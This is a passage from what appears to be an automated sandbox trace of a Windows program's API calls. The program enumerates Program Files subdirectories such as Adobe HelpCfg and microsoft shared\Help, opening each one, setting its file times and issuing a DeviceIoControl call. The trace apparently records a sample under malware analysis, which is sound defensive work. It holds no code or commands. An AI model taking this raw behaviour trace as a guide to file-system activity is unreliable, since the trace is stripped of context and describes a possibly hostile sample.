lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.952] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.952] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.952] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.952] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.953] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.953] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.954] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.955] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.955] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.955] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.956] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.956] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.957] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.957] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.957] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.957] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.958] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.958] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.958] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.958] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.959] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.959] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.960] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.960] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.961] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.961] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.961] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.962] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.962] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.962] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.963] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.963] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.964] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.964] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0252.964] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.964] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.965] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.965] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java" (normalized: "c:\\program files (x86)\\common files\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.966] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0252.966] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0252.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" (normalized: "c:\\program files (x86)\\common files\\java\\java update"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.967] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.967] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared" (normalized: "c:\\program files (x86)\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.971] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0252.971] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0252.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.972] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.972] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.973] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.973] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.977] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.977] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.978] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.978] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.979] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.979] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.980] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.980] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.980] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.980] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.981] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.982] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.982] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.982] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.985] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.985] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.985] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.985] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.986] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.986] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, 